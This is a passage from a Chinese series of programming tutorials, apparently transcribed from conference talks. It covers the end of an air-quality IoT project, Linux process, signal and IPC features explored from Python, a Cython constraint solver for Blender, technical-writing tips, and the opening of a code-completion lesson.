- 更新/再训练:用新窗口的数据更新模型,使其适应最新的变化模式。
这种方法能有效应对生活习惯改变等动态情况。模型性能使用均方根误差等指标进行评估。初步结果显示,预测值与真实值在某些时段吻合较好,但仍有优化空间。
系统展示与未来优化 🚀
经过数据收集、分析和模型构建,我们终于可以看到完整的系统了。本节是成果展示和未来展望。
最终的系统中,一个树莓派负责运行预测模型,另一个则运行带有触摸屏的Flask应用,实时显示当前温度、湿度、CO2浓度以及未来一小时的预测值。
系统界面显示的关键信息如下:
- 当前温度、湿度。
- 当前CO2浓度(ppm)。
- 未来一小时的CO2预测值。
- 数据更新时间戳。
这个项目仍有很大的优化和扩展空间:
- 硬件优化:尝试使用TensorFlow Lite在微控制器上部署轻量级模型。
- 数据完善:将颗粒物数据正式纳入预测模型。
- 模型迭代:持续进行数据科学项目的标准流程——优化与改进。

总结
本节课中,我们一起学习了如何从零开始构建一个室内空气质量监测与预测系统。我们从发现问题(室内空气不佳)出发,经历了确定关键指标(CO2)、尝试并选择硬件方案(最终使用树莓派)、收集与可视化数据、进行时间序列分析,到最后实现基于滑动窗口和CNN的机器学习预测模型,并将结果通过一个简单的Web应用展示出来。这个过程融合了硬件、软件和数据分析,是一个完整的物联网数据科学项目范例。希望它能启发你开始监控和改善你所在环境的空气质量。
054:用Python探索Linux核心特性 🐧


在本教程中,我们将跟随马里奥·科尔切罗的演讲,学习如何利用Python标准库来探索和利用Linux操作系统的核心特性。我们将从进程管理、文件描述符、本地化处理、时间获取,一直讲到信号处理和进程间通信。通过Python这一熟悉的工具,你将能更深入地理解Linux系统的工作原理。
进程管理:创建与执行
上一节我们介绍了教程的概述,本节中我们来看看如何在Python中创建和管理Linux进程。
在Linux中,程序是指令的集合,存储在磁盘上。当程序被加载到内存中执行时,就形成了一个进程,它包含了指令、状态和分配的内存空间。操作系统通过调度器来决定哪个进程的指令优先执行。
那么,如何在Python中创建一个进程呢?核心方法是使用os模块的fork()和exec()系列函数。
使用 os.fork() 复制进程
os.fork()是Linux上创建新进程的基础方法。它会复制当前进程(父进程),创建一个几乎完全相同的子进程。
import os
pid = os.fork()
if pid == 0:
# 这段代码在子进程中运行
print(f"I am the child process. My PID is {os.getpid()}.")
else:
# 这段代码在父进程中运行
print(f"I am the parent process. My child‘s PID is {pid}.")
关键点:
- 子进程中,
os.fork()的返回值为0。 - 父进程中,
os.fork()的返回值是新创建的子进程的PID(进程ID)。 - 调用
fork()后,父进程和子进程会并行执行后续代码。
你可能会担心复制整个进程开销很大。实际上,Linux使用了写时复制(Copy-On-Write) 等优化技术。只有在进程试图修改某块内存时,系统才会真正复制它,而只读的代码段则被共享。
注意:调用fork()时,只有正在执行的线程会被复制到子进程中。建议通过man fork命令阅读Linux手册页以了解更多细节。
使用 os.exec() 替换进程
fork()创建的是当前程序的副本。如果想启动一个全新的程序,则需要使用exec()系列函数。它们会用指定的新程序替换当前进程的内存空间。
import os
# 这行代码永远不会执行,因为进程被替换了
print("This line will never be printed!")
# 用 python3.9 解释器替换当前进程
os.execlp(‘python3.9‘, ‘python3.9‘, ‘-c‘, ‘print("Hello from new program!")‘)
关键点:
exec()函数执行成功后不会返回,因为原进程已被完全替换。execlp中的p表示它会利用系统的PATH环境变量来查找命令。- Python的
os模块提供了多个exec变体函数(如execv,execle等),以适应不同的参数传递方式。
组合使用:fork() + exec()
这是启动新程序的经典模式:先fork()创建一个子进程,然后在子进程中调用exec()来运行新程序。
import os
pid = os.fork()
if pid == 0:
# 子进程:替换为执行 ‘ls -la‘ 命令
os.execlp(‘ls‘, ‘ls‘, ‘-la‘)
else:
# 父进程:等待子进程结束
os.waitpid(pid, 0)
print("Child process finished.")
你其实一直在使用它们
你可能觉得这些底层API用不上。但实际上,Python标准库中许多高级模块都构建在这些基础之上。
例如,subprocess模块(用于运行外部命令)和multiprocessing模块(用于多进程编程)的内部实现,本质上就是调用了fork()和exec()。阅读这些模块的源代码是理解其工作原理的好方法。
标准流与文件描述符
上一节我们学习了进程的创建,本节中我们来看看进程如何与外界进行输入输出交互。
每个进程在启动时都会自动打开三个文件描述符:
- 标准输入(stdin): 文件描述符
0,用于读取输入。 - 标准输出(stdout): 文件描述符
1,用于输出正常信息。 - 标准错误(stderr): 文件描述符
2,用于输出错误信息。
在Python中,你可以像操作普通文件一样操作它们。
import sys
# 向标准输出写入
sys.stdout.write(“Hello Python\n“)
# 从标准输入读取一行
user_input = sys.stdin.readline()
一个重要现象:缓冲
运行以下代码,你会发现“Hello Python”可能不会立即出现在屏幕上:
import sys
sys.stdout.write(“Hello Python“)
sys.stdout.write(“ in PyCon Sweden\n“)
data = sys.stdin.read()
这是因为输出被缓冲了。为了确保内容被立即写入,可以刷新缓冲区或关闭文件描述符。
sys.stdout.flush() # 手动刷新缓冲区
# 或者
sys.stdout = os.fdopen(sys.stdout.fileno(), ‘w‘, buffering=1) # 设置行缓冲
深入理解:标准流是什么?
你可能会好奇,为什么多个进程可以同时向终端输出而互不干扰?标准流本质上是指向终端设备的文件描述符。
每个进程在 /proc/self/fd/ 目录下都有其文件描述符的符号链接。
# 在终端中查看当前进程的标准输出指向哪里
$ ls -l /proc/self/fd/1
lrwx------ 1 user user 64 Jan 1 12:00 /proc/self/fd/1 -> /dev/pts/0 # 指向一个伪终端
$ tty
/dev/pts/0 # 与上面匹配
这意味着,你甚至可以直接向这个文件描述符写入数据,效果和向终端输出一样。
$ echo “Hello“ > /proc/self/fd/1
在Python中,你也可以通过os模块进行类似操作:
import os
# 获取标准输出的文件描述符编号
fd = sys.stdout.fileno()
# 直接向该描述符写入字节数据
os.write(fd, b“Direct write via os module\n“)
本地化处理
上一节我们探讨了进程的输入输出,本节中我们来看看操作系统如何帮助程序处理不同语言和地区的差异。
地区(Locale)设置决定了程序如何显示和处理与语言、文化相关的信息,如数字格式、货币符号、日期时间格式和字符串排序规则等。Python通过locale模块与操作系统的地区设置进行交互。
所有程序默认在名为“C”的传统地区下启动。你可以根据需要更改它。
以下是使用地区设置来解析不同格式数字字符串的示例:
import locale
# 设置地区为美国英语
locale.setlocale(locale.LC_ALL, ‘en_US.UTF-8‘)
value_us = locale.atof(‘43,210.05‘) # 逗号是千位分隔符
print(f“US format: {value_us}“) # 输出: 43210.05
# 设置地区为西班牙语(西班牙)
locale.setlocale(locale.LC_ALL, ‘es_ES.UTF-8‘)
value_es = locale.atof(‘43.210,05‘) # 点号是千位分隔符,逗号是小数点
print(f“ES format: {value_es}“) # 输出: 43210.05
关键点:
locale.setlocale()用于设置整个程序或特定类别(如数字、时间)的地区。locale.atof()和locale.atoi()能根据当前地区设置,正确解析包含本地化格式(如千位分隔符)的字符串。- 要使用某个地区(如
es_ES.UTF-8),系统中必须已安装相应的语言包。
你可以通过man setlocale命令阅读Linux手册页,深入了解地区的工作原理。
时间获取
上一节我们处理了文化差异,本节中我们来看看一个看似简单但底层复杂的概念:时间。
在计算机中,确定“现在是什么时间”是一个复杂的过程。Python的time模块所提供的时间,最终都来源于操作系统。
- 计算机主板上的石英晶体产生稳定的周期性振荡,作为计时的基础。
- 操作系统内核利用这些振荡来跟踪时间的流逝(例如,计算自启动以来的秒数)。
- 操作系统通过网络时间协议(NTP)与远程的原子钟服务器同步,校准本地时间。
- 当Python调用
time.time()时,实际上是向操作系统请求这个经过校准的时间。
import time
current_time = time.time()
print(f“Seconds since the epoch: {current_time}“)
# datetime模块也依赖于操作系统时间
from datetime import datetime
now = datetime.now()
print(f“Human-readable time: {now}“)
重要概念:
- Unix时间戳:从1970年1月1日(UTC)开始所经过的秒数(不包括闰秒)。这是
time.time()返回的值。 - 单调时间:
time.monotonic()返回一个只会向前递增的时间值,适用于测量时间间隔,不受系统时间被手动调整的影响。 - 闰秒:由于地球自转的不规则性,偶尔需要增加或减少1秒来协调世界时。Python(以及它依赖的操作系统)提供的时间通常不包含闰秒信息。
因此,在编写对时间敏感的程序(如定时任务、性能测量)时,选择正确的时间函数至关重要。
信号处理
上一节我们了解了时间的复杂性,本节中我们来看看进程如何响应来自操作系统或其他进程的异步事件:信号。
信号(Signal) 是发送给进程的一种中断,用于通知其发生了某个重要事件。例如:
SIGINT(信号 2): 通常由用户按下Ctrl+C触发,请求中断进程。SIGTERM(信号 15): 请求进程终止,允许其进行清理工作。SIGKILL(信号 9): 强制立即终止进程,该信号无法被进程捕获或忽略。SIGPIPE(信号 13): 当进程向一个已关闭的管道(如|连接的命令)写入时产生。
在Python中,使用signal模块可以捕获并处理信号。
import signal
import time
import sys
def handle_sigint(signum, frame):
print(‘\nReceived SIGINT. Cleaning up...‘)
sys.exit(0)
# 为 SIGINT 信号注册处理函数
signal.signal(signal.SIGINT, handle_sigint)
print(“Press Ctrl+C to trigger the handler“)
time.sleep(10) # 在此期间按 Ctrl+C
print(“Finished sleeping.“)
Python信号处理的特点:
- 信号处理函数总是在主线程中执行。
- 必须在主线程中设置信号处理程序。
- Python解释器默认将一些信号转换为Python异常,以提高可读性:
SIGINT->KeyboardInterrupt异常SIGPIPE->BrokenPipeError异常
- 对于
SIGFPE(除零错误)等严重信号,Python通常不会覆盖其默认行为,因为需要在C语言层面处理。
对于更复杂的信号处理需求,可以探索faulthandler等模块。
进程间通信:命名管道与Unix域套接字
上一节我们学习了如何用信号通知进程,本节中我们来看看进程之间如何进行更复杂的数据交换:进程间通信。
命名管道(FIFO)
命名管道,也称为FIFO(First In, First Out),是一种特殊的文件类型。它允许两个无关的进程通过文件系统中的一个路径进行通信。
通信是单向的,需要明确读写方向。
以下是创建和使用命名管道的示例:
import os
import time
fifo_path = ‘/tmp/myfifo‘
# 创建命名管道(如果不存在)
if not os.path.exists(fifo_path):
os.mkfifo(fifo_path)
pid = os.fork()
if pid == 0:
# 子进程:作为写入方
with open(fifo_path, ‘w‘) as fifo:
fifo.write(“Message from child\n“)
fifo.flush()
else:
# 父进程:作为读取方
with open(fifo_path, ‘r‘) as fifo:
message = fifo.read()
print(f“Parent received: {message}“)
os.waitpid(pid, 0) # 等待子进程结束
os.unlink(fifo_path) # 清理管道文件
关键点:
os.mkfifo()用于创建命名管道文件。- 打开FIFO进行读取或写入时,默认是阻塞的,直到另一端也被打开。
- 通信完成后,应使用
os.unlink()删除管道文件。
Unix域套接字
Unix域套接字(Unix Domain Socket)是另一种基于文件的进程间通信机制,但它提供双向通信通道,功能更强大,类似于网络套接字,但仅限于同一台主机内的通信。
它的优势在于可以利用文件系统的权限来控制哪些进程可以连接。
import socket
import os
# 创建一对已连接的Unix域套接字
sock1, sock2 = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
pid = os.fork()
if pid == 0:
# 子进程使用 sock2
sock2.close()
sock1.sendall(b“Hello from child via socket!“)
data = sock1.recv(1024)
print(f“Child got reply: {data.decode()}“)
sock1.close()
else:
# 父进程使用 sock1
sock1.close()
data = sock2.recv(1024)
print(f“Parent received: {data.decode()}“)
sock2.sendall(b“Hello from parent!“)
sock2.close()
os.waitpid(pid, 0)
关键点:
socket.socketpair()方便地创建了一对已连接的套接字,非常适合fork()后的父子进程通信。- 使用
send()/sendall()和recv()方法进行数据传输。 - 像文件一样,通信结束后需要关闭套接字。
这种模式被许多高级工具所使用。例如,内存分析工具memray就利用了类似的机制在分析器进程和目标进程之间进行高效通信。阅读这类开源项目的源代码是学习系统编程的绝佳途径。

总结
在本教程中,我们一起探索了如何通过Python这一高级语言来理解和运用Linux操作系统的核心特性。
我们从最基础的进程创建(fork/exec) 开始,明白了Python中subprocess等模块的底层原理。接着,我们剖析了标准输入/输出的本质,发现它们不过是特殊的文件描述符。然后,我们利用locale模块处理了本地化问题,看到了操作系统对文化差异的支持。
在探讨时间时,我们认识到一个简单的时间查询背后,是硬件时钟、操作系统内核和网络协议的协同工作。通过学习信号处理,我们掌握了让程序优雅响应外部事件(如用户中断)的方法。最后,我们实践了两种经典的进程间通信机制:单向的命名管道和双向的Unix域套接字。

希望本教程能激发你进一步探索Python标准库和Linux系统本身的兴趣。记住,“自带电池”的Python拥有强大的系统交互能力,而理解其背后的操作系统原理,将使你成为一个更强大的开发者。
055:使用Cython为Blender编写自定义约束求解器


概述
在本教程中,我们将学习如何利用Python的Cython扩展,为开源3D图形软件Blender编写一个高性能的自定义约束求解器。我们将从结构工程与计算机图形学的交叉点出发,探讨现有工具的局限性,并逐步构建一个名为“Pymaxian”的插件。整个过程将涵盖从算法动机、Cython性能优化、到Blender前端集成的完整流程。
动机与背景:为何要重写约束求解器?
上一节我们介绍了结构工程软件领域的现状。本节中,我们来看看我关注这个特定问题的原因。
结构工程软件通常用于在载荷下对建筑模型进行分析。用户希望模型能够移动,但变形不能过大。分析程序会提供某种设计方法,例如确定柱子的尺寸或地板的钢筋用量。然而,在咨询设计实践中,工程师常常需要回到Excel中进行详细设计。
大多数情况下,工程师使用专有软件与其他专业(如建筑、机械、电气和管道)交换数据,以协调所有结构组件。建筑环境中的软件存在几个显著问题:用户界面通常过时,信息获取不便捷,需要频繁点击不同的子菜单。软件许可证成本高昂,标准的结构分析软件许可费通常在10,000美元左右。作为参考,结构工程师的起薪约为每年60,000至70,000美元。
就软件操作而言,其速度相当慢。结构分析背后的数学涉及大量的矩阵求逆运算,缺乏即时反馈循环。用户点击某个操作后,往往需要等待一段时间才能查看结果。最大的问题在于,这类软件完全是一个“黑箱”。如果运气好,用户可能会得到一本包含简单测试用例的验证手册,但查看实际源代码是不可能的。
在计算机出现之前,一些最精美的建筑是使用名为“形态发现”的物理建模方法构建的。其理念是将一条悬挂的、加重的链条反转,以找到结构在预压缩状态下的形状。安东尼·高迪在巴塞罗那的圣家族大教堂就使用了这项技术。如今,教堂的建造正在使用计算几何和计算形态发现技术。
我之所以对计算机图形学产生兴趣,是因为该领域在实时仿真方面的发展领先于结构分析。一种特定的用于形态发现和实时物理的约束求解算法,已经通过两个插件进入了建筑环境软件,以及一个名为Rhinoceros的商业三维建模软件。
示例来自名为“ShapeUp”的算法的原始实现,该算法在EPFL开发,但现在广泛商用的是叫做“Kangaroo 2”的插件。既然这些工具已经存在,为什么我还要重写它呢?我的疑虑在于,我认为该软件的用户界面仍然不够友好。它基于可视化编程,虽然利于快速原型设计,但不利于文档记录或创建可重复的过程。此外,该界面并非免费,Rhinoceros软件的许可证费用约为1,000美元,这对爱好者来说可能难以承受。
这些实现的运行速度并不慢,上一张幻灯片展示的都是实时效果。但在实现层面,仍然存在一些“黑箱”问题。虽然“ShapeUp”是开源的,但“Kangaroo 2”的物理引擎并非开源,其所有几何约束都是用C#编写的。
基于以上前提,我尝试用Python实现这个算法,目标是使其开源、易于访问和可扩展。
构建Python插件:Pymaxian的架构
上一节我们探讨了重写求解器的动机。本节中,我们来看看如何构建这个名为Pymaxian的Python插件。
当决定用Python构建某个项目时,第一个障碍就是对其运行速度的担忧。因此,我转向了Cython。Cython允许我保持熟悉的Python语法,同时显著提升执行速度。Cython是一个优化的静态编译器,允许你在Python中包装C或C++库,也可以将Cython代码编译为C或C++。编译后的库可以作为扩展导入到标准Python脚本中。
为了开始,我选择了一个相当简单的静态分析问题:中点受载的悬链线。这是一个相当难以手工解决的问题,因为电缆在载荷下的变形形状会发生显著变化。有趣的是,大多数结构分析基于变形非常小的假设。这个问题只涉及三种类型的约束,总共五个约束:
- 锚点:防止点0和点2在施加载荷时向中心移动。
- 力:载荷本身就是一个约束。
- 缆绳:点0和点1之间、点1和点2之间的关系基于电缆的材料特性。其拉伸程度决定了它想要恢复到原始长度的程度。
“ShapeUp”算法的作用是独立考虑这些约束,并根据每个约束分别投影每个点的理想位置,这是一个局部求解。然后,这些约束相互权衡,以找到最佳满足所有应用约束的粒子位置,这是一个迭代过程。
该算法的关键特性是每个约束的局部求解可以独立应用,这意味着可以并行运行。
最终,我为这个小问题创建了一个相当大的库,包含许多文件。.pxd和.pyx文件扩展名是Cython特有的。.pxd文件类似于C++的头文件,而类和方法在.pyx文件中定义。
我最终在C++中编写了一个非常小的几何库,而不是包装现有的库,主要是因为我不想处理一些典型C++几何库(如CGAL)的许可问题或复杂的构建过程。剩下的约束完全使用Cython定义,因此每个都需要一个.pxd和一个.pyx文件。
在Cython中,如果你打算导入一个模块,必须有一个对应的.pxd文件。Cython的一个限制是,你不能随意进行多层子类化,只能有一层子类化,但子类可以从多个超类继承。这对我的目的来说很好,因为我可以将Constraint设置为父类,然后每种约束类型(如Anchor、Cable、Force)都是各自的子类,并根据约束实现自己的calculate方法。
以下是父约束类的典型头文件(.pxd),包含所有类型声明:
# constraint.pxd
cdef class Constraint:
cdef double strength
cdef int[:] particle_indices
cdef void calculate(self, double[:, :] positions, double[:, :] moves) nogil
cdef void sum_moves(self, double[:, :] moves, double[:, :] total_moves) nogil
每种类型都以cdef为前缀,因为它们是在没有全局解释器锁(GIL)的情况下运行的数据类型和方法,这意味着它们不能是标准的Python对象。因此,cdef方法也不能直接从Python调用。如果要从Python调用,需要定义一个cpdef方法,或者为该函数编写一个Python包装器。
关于通用约束类的实际方法,calculate方法将在所有约束子类中被重写,因此它必须具有相同的函数签名。sum_moves方法对所有约束都是通用的,因为这是每个约束的局部求解。
例如,Anchor(锚点)的calculate方法非常简单,它只是返回空间中一个3D向量到原始锚点的位置。Cable(缆绳)的calculate方法则更复杂,可以将其想象为拉伸的橡皮筋想要恢复到原始松弛形状时,对系统中两个点施加的相反方向的力。
Cython编译与性能优化
上一节我们介绍了Pymaxian的基本架构。本节中,我们来看看如何编译Cython并进行性能优化。
你需要编译Cython。我编写了一系列辅助函数,以确保Cython能正确识别不同目录中的不同组件,并附加了一些额外的编译参数,以便未来如果想使用OpenMP进行并行化,能够与OpenMP兼容。默认情况下,Cython编译为C代码,所以我需要指定C++作为语言。
对于实际的构建命令,inplace标志确保编译后的文件与源文件位于同一目录,这样从包中导入时会非常清晰,就像导入一个标准的Python文件一样。
python setup.py build_ext --inplace
一旦你编译了一个Cython包,你将获得动态库文件(在Mac上是.so扩展名)。你还会得到与源文件同级的新C++文件,这些文件体积庞大,生成的C++代码可能有成千上万行。
编译后我进行了测试,它比我使用的原始纯Python方法显著更快。虽然速度更快,但我想知道到底能快多少,并找出分析Cython代码的最佳方法。
我想用Cython来释放全局解释器锁(GIL)以改善运行时间,但在你能够在没有GIL的情况下运行Cython函数之前,有许多步骤需要完成。静态类型和变量声明是必需的。你还可以尝试其他方法来提高性能,例如通过在文件顶部添加编译器指令来关闭Python的一些安全检查。
# cython: boundscheck=False
# cython: wraparound=False
你必须小心使用这些指令,因为如果你构建了代码并不小心索引了可能越界的内容,会遇到非常奇怪的错误,并且可能导致Python崩溃。我也强烈建议为我们要编译的函数编写Python包装器,以便于调试和测试,否则你将无法从Python访问它们。虽然这会增加代码量,但会使调试和测试更容易。
如果你不编写无GIL函数,你可以在Cython中使用cpdef函数,这些函数可以从C或Python调用。对于无GIL功能,你会看到cdef而不是cpdef或标准Python的def函数。不过,如果你不打算为无GIL进行优化,绝对可以在Cython中将这些混合用于其他用例。
Cython在编译时会相当好地警告你,如果你的代码中嵌入了不兼容的Python对象。对于这些cdef方法,你还需要确保在.pxd和.pyx文件中的函数签名匹配,包括所有参数以及nogil标志。
需要注意的一点是,在函数签名中写入nogil并不意味着在运行时它会自动默认使用无GIL。你只是表明该方法可以在没有GIL的情况下运行。
本项目的一个最大救星是Cython的一个功能,它可以让你查看每个.pyx文件中有多少Python交互代码。如果你在命令行传递一个特定标志,它会自动为你查看的文件生成一个HTML文件,该文件将高亮显示一个方法访问Python对象的程度。
例如,在下面的代码块中,因为我使用NumPy创建数组,这意味着我在创建Python对象。end-to-arrays是Python对象。
cdef void some_method(double[:, :] positions) nogil:
cdef double[:] arr = np.zeros(3) # 这行会调用Python,因此不能在nogil块内!
那么,如何在没有GIL的情况下使用数组呢?你可以使用内存视图来访问NumPy数组,并在nogil代码块内更新它们。这对我来说非常有用,可以将粒子位置跟踪为一个3D位置数组,并传递给每个约束的计算方法。
一旦完成了所有准备工作,就可以释放GIL了。你需要做的就是在想要运行的函数部分添加with nogil:上下文管理器。同时,你必须确保在该代码块内调用的任何函数也标记为nogil,并且你已经检查过之前的所有步骤。
def solve_system(self):
cdef double[:, :] positions = self.positions
cdef double[:, :] moves = np.zeros_like(positions)
with nogil:
# 在此块内调用所有标记为nogil的cdef方法
for constraint in self.constraints:
constraint.calculate(positions, moves)
# ... 后续处理
你应该能在代码中看到显著的加速。我能够看到超过100倍的加速。一旦我释放了GIL,这让我在数千个约束条件下几乎瞬间收敛。
性能分析与前端集成
上一节我们讨论了如何通过Cython和释放GIL来优化性能。本节中,我们来看看如何进行性能分析,并将求解器集成到Blender前端。
我仍然想尝试使用Cython进行性能分析,所以我转向了PySpy,这是一种用Rust实现的低开销性能分析器。将这个分析器集成到我的代码中需要一些设置,包括添加一些额外的标志。我还需要在我的setup.py文件中确保从Cython生成的C++代码包含行号。你还需要在每个.pyx文件的编译指令开始处添加它,以将行跟踪设置为True。
# setup.py 中 Extension 的参数
extensions = [
Extension(
"pymaxian.core",
["pymaxian/core.pyx"],
extra_compile_args=['-fopenmp', '-g'], # -g 生成调试信息
extra_link_args=['-fopenmp'],
)
]
# 在 .pyx 文件顶部
# cython: linetrace=True
# cython: binding=True
我的个人电脑是Mac,这对PySpy的一些功能运行良好,但你无法对本地函数进行性能分析。因此,我最终创建了一个Docker容器,并在Linux上运行了PySpy。这需要弄清楚如何制作一个拥有正确权限的容器。
# 1. 构建并运行Docker容器
docker run -it --rm -v $(pwd):/src -w /src python:3.9-slim bash
# 2. 在容器内安装依赖并运行PySpy
pip install cython numpy pyspy
python setup.py build_ext --inplace
py-spy record -o profile.svg --native -- python my_simulation_script.py
# 3. 将火焰图从容器复制到主机(如果容器在后台运行)
docker cp <container_id>:/src/profile.svg .
我得到的是一个火焰图,它让我了解到在我的模拟中哪些进程花费的时间最长。结果显示,最耗时的部分是装配粒子系统以及将所有Python对象转换为可视化,基本上就是初始化所有对象。
既然有了一个运行快速的求解器,但我还看不到它。因此,我还没有任何漂亮的模拟视觉效果。我不想重新发明轮子,所以我决定将Pymaxian集成到一个成熟的开源3D图形程序——Blender中。
Blender是免费的开源软件,采用GPL许可证。它在许多方面的能力都超出了我熟悉的另一个三维建模程序Rhinoceros。Blender还有一个非常成熟的Python API,其大部分底层代码是用C或C++编写的。Blender生态系统中有非常丰富的附加组件。
那么,如何将新创建的Cython包放入Blender Python中呢?你需要针对与Blender Python相同版本的Python来构建Cython包。你可以通过Blender的脚本选项卡调查关于你的Blender Python安装的所有信息。实际上,有一个Python控制台可以输入sys.path或sys.version来查看信息。
我决定将我的Cython包符号链接到Blender Python安装的site-packages目录中,而不是复制或与Blender Python一起构建它。现在Pymaxian是Blender site-packages的一部分,但我仍然需要添加Blender将如何通过其UI和操作与该包进行交互的代码。
对于使用Blender的最佳开发方式存在很多讨论。我通常会在每次修改时创建一个新的实例并重新启动Blender。热重载并不总是有效。随着Blender版本的演变,其有效性也在不断变化。但至少,我确实推荐从命令行启动Blender,因为那样你所有的输出或调试信息都会打印到一个单独的控制台窗口中。
我将我的Blender附加组件目录也使用符号链接。这是基本Blender附加组件的典型文件结构:
my_blender_addon/
├── __init__.py
├── operators.py
├── panels.py
├── properties.py (可选,或用JSON替代)
└── ...
在右侧,你可以看到有一个侧边菜单,那实际上是我为Blender的Pymaxian接口创建的菜单。你可以在其中使用Pymaxian的Blender上下文。这是编辑上下文中的对象,位于一个选项卡上。我有许多按钮是这个菜单的一部分,还有一些弹出面板。
在Blender操作符文件(operators.py)中,你会找到调用Pymaxian的所有UI操作。因此它在属性和方法方面有一个特定的Blender类结构。它还有一些对唯一标签的要求,比如以bl_为前缀的ID名称和标签。然后你必须定义execute方法,它需要返回一组特定的值。
对于所有这些漂亮的面板,你必须有特定的前缀来定义具体属性。否则当你启用附加组件时,它不会注册。在这些弹出面板中,你可以设置一些附加属性以设置基本值。例如,增加约束的强度。这些UI面板都有一个draw方法。
大多数典型的附加组件也有一个属性文件(properties.py),并且你必须注册每一个你在这些菜单中使用的属性。这在我的情况下导致了相当多的代码生成,因此我决定不使用属性文件,而是将那些约束选项放入一个JSON文件中。JSON文件基本上绑定了所有用户可设置的选项,如精度、约束类型对应的值等。
然后,在我实际的菜单文件(panels.py)中,当Blender加载时,我能够导入并迭代该JSON文件,以自动注册这些属性。这样未来添加内容到这个JSON文件会更容易,而不是需要编写一堆新的类。
成果与总结
经过以上步骤,我现在得到的是一个Pymaxian的概念验证版本。它目前仅支持几个约束,但我能够复制在前几张幻灯片中展示的悬挂布料形态探索。我希望能做更多工作使其更具互动性。你可以在Blender中使用模态操作符,以允许一些交互性。我还在考虑可能使用套接字,这样能够反馈更新的几何体,以便用户可以与模拟进行更多交互。
在本节课中,我们一起学习了:
- 动机:了解了现有结构工程和形态发现软件的局限性,包括成本、封闭性和用户体验问题。
- 解决方案架构:介绍了使用Cython构建高性能Python扩展(Pymaxian)来重新实现约束求解算法的思路。
- Cython核心:学习了Cython的基础,包括
.pxd/.pyx文件、cdef/cpdef方法、静态类型,以及如何通过释放全局解释器锁(GIL) 来获得百倍级的性能提升。 - 性能优化:探讨了编译指令、内存视图的使用,以及如何利用
PySpy进行性能分析并解读火焰图。 - Blender集成:掌握了如何将编译好的Cython包集成到Blender中,包括符号链接、创建附加组件、定义操作符和UI面板,以及使用JSON文件动态管理属性。

通过这个项目,我们展示了如何将计算密集型的算法从“黑箱”专有软件中解放出来,利用开源工具链(Python、Cython、Blender)创建一个可访问、可扩展且高性能的解决方案。这为在建筑、设计和艺术领域进行创新的实时模拟和形态发现打开了新的大门。
056:提升技术写作的十个技巧 🚀


在本节课中,我们将学习如何编写开发者喜爱的文档。我们将探讨技术写作的核心概念,并分享十个实用的技巧,帮助你提升文档质量,使其更清晰、更具包容性且易于使用。
什么是技术写作?
技术写作是以指导或信息为目的的写作,专注于如何使用特定工具完成任务。它旨在帮助用户高效、安全地实现目标。
为什么技术写作很重要?
技术写作通常是用户对项目的第一印象。清晰、有效的文档能吸引用户,帮助他们快速上手,并围绕项目建立社区。糟糕的文档则会导致用户流失和挫败感。
提升技术写作的十个技巧
上一节我们介绍了技术写作的定义和重要性,本节中我们来看看具体的提升技巧。
技巧十:明确最终目标
在文档的开头,用清晰简洁的语言说明用户将学到什么或实现什么。避免冗长的背景介绍,直接切入主题。
示例公式:
在本教程中,你将通过使用 [工具/库] 来 [实现的具体目标]。
技巧九:保持简洁
技术文档应简洁明了,避免使用复杂的词汇和冗长的句子。目标是降低阅读难度,让所有用户都能轻松理解。
建议: 使用如海明威编辑器或 Grammarly 等工具,将文档阅读水平控制在较低年级(例如三到六年级)。
技巧八:使用包容性语言
以下是使用包容性语言的几个要点:
- 避免使用性别代词(如他/她),改用“你”或“你们”等第二人称。
- 避免使用可能被视为贬低的网络俚语(如“菜鸟”、“小白”)。
- 避免使用“简单”、“容易”等词汇,这可能会让遇到困难的用户感到气馁。
技巧七:限制技术术语
行话(Jargon)是特定群体使用的特殊词汇。对于面向大众的文档,应限制行话的使用,或在首次出现时进行解释。
核心原则: 如果不确定受众,始终假设读者是初学者。
技巧六:定义所有缩写
技术领域充满缩写,这会给新学习者造成障碍。在首次引入缩写时,应写出其全称。
示例代码:
向域名系统(DNS)添加一条A记录。本文档后续将简称其为DNS。
技巧五:避免使用梗图、习语和地域性语言
梗图、习语(如“小菜一碟”)和地域性表达(如某些地区对“汽水”的称呼)可能无法被全球用户理解,应尽量避免,以确保文档的普适性。
技巧四:使用有意义的代码示例
代码示例是文档的核心。它们应该解决现实问题,并且完整、可运行。
以下是编写优质代码示例的要点:
- 展示,而非讲述: 用代码演示库如何解决问题。
- 使用有意义的变量名: 避免使用
foo,bar等无意义的名称。 - 保持完整: 包含所有必要的导入语句和依赖。
- 提供完整副本: 在教程末尾提供一个完整的、可复制粘贴的代码块。
技巧三:避免让读者离开你的文档
尽量减少将用户引导至外部链接。如果必须引用外部资源,请在文档开头以“先决条件”的形式列出,并确保教程主体内容自成一体。
技巧二:让内容易于浏览
用户通常不会通读文档,而是快速扫描以寻找所需信息。你需要让文档结构清晰,方便浏览。
以下是提升可浏览性的方法:
- 使用标题和子标题划分内容。
- 提供目录(TOC)以便快速导航。
- 保持格式风格一致(如库名用粗体,文件路径用斜体),帮助用户建立阅读习惯。
技巧一:测试你的文档
这是最重要的一条技巧。错误的文档比没有文档更糟糕,因为它会浪费用户的宝贵时间。
验证步骤:
- 自行测试: 严格按照文档步骤操作,确保其正确无误。
- 他人测试: 让其他人(尤其是新手)测试你的文档,他们能发现你忽略的盲点。
- 使用新环境测试: 在一个干净的新环境中测试,避免因本地残留配置导致的“在我机器上能运行”问题。
额外提示:持续练习
提升技术写作能力的唯一方法是持续练习。你可以通过在工作中撰写文档、开设个人博客或为开源项目(例如参与 Hacktoberfest 活动)贡献文档来积累经验。

本节课中我们一起学习了提升技术写作的十个核心技巧:从明确目标、保持简洁、使用包容性语言,到编写有意义的代码示例、优化可浏览性,以及最重要的——测试验证。记住,优秀的文档是项目成功的基石,它能有效吸引用户、建立社区并提升产品价值。现在,就去应用这些技巧,让你的文档变得更好吧!
057:概述与核心概念


在本教程中,我们将学习如何构建一个Python代码补全器。代码补全是现代代码编辑器的核心功能,它能提升开发效率、减少拼写错误并帮助开发者探索API。我们将从基础概念讲起,并逐步构建一个简单的补全器原型。
为什么代码补全很重要
代码补全为开发者提供了多项关键优势。
以下是其主要价值:
- 可发现性:无需翻阅文档,即可在编辑器中直接发现库和模块的可用API。
- 速度:通过输入少量字符并按下Tab键,快速补全长变量名或函数名。
- 准确性:避免拼写错误,并在编码时获得即时反馈,增强信心。
- 流畅性:帮助开发者保持专注和高效的“心流”状态。
代码补全的核心:理解程序
代码补全器的核心任务是回答“程序员接下来要输入什么?”。
